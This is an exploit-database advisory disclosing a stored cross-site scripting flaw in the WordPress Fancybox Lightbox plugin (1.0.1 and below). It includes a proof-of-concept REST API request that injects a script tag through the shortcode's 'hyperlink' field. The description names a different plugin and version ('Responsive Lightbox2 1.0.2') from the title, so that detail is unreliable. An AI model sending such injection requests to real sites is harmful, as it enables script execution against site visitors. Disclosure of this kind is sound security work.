WordPress Fancybox Lightbox 1.0.1 Cross Site Scripting

2020.08.17
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# Exploit Title: WordPress Fancybox Lightbox Plugin v1.0.1 - Persistent Cross-Site Scripting # Date: 2020-08-14 # Vendor Homepage: https://noorsplugin.com/ # Vendor Changelog: https://wordpress.org/plugins/wp-fancybox/#developers # Exploit Author: Melbin K Mathew (@melbinkm) # Author Advisory: https://melbin.in/2020/08/14/stored-xss-vulnerability-in-wordpress-fancybox-lightbox-plugin/ # Author Homepage: https://melbin.in # Version: 1.0.1 and below 1. Description WordPress Fancybox Lightbox plugin is used to add a lightbox functionality while embedding Image, Video or HTML page to a WordPress site. The 'hyperlink' field used while embedding a remote image or video file was found to be vulnerable to stored XSS, as they did not sanitize user given input properly before publishing the post. It is triggered when a user loads a page where the plugin shortcode is used. All WordPress websites using Responsive Lightbox2 Plugin version 1.0.2 and below are affected. 2. Proof of Concept POST /w/wp-json/wp/v2/posts/213?_locale=user HTTP/1.1 Host: 127.0.0.1 Content-Length: 162 Accept: application/json, */*;q=0.1 X-WP-Nonce: 6c6cd8b63e User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 X-HTTP-Method-Override: PUT Content-Type: application/json Origin: http://127.0.0.1 Referer: http://127.0.0.1/w/wp-admin/post.php?post=213&action=edit Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7C187d1919d81892688985d2acd9d7c8995a974ded5282ab8d15344dae9764a405; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse; wp-settings-time-1=1597422791 Connection: close {"id":213,"content":"[wp_fancybox_media url="http://example.com/wp-content/uploads/image/lightbox.jpg" type="image" hyperlink="<script>alert(0)</script>"]"}


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top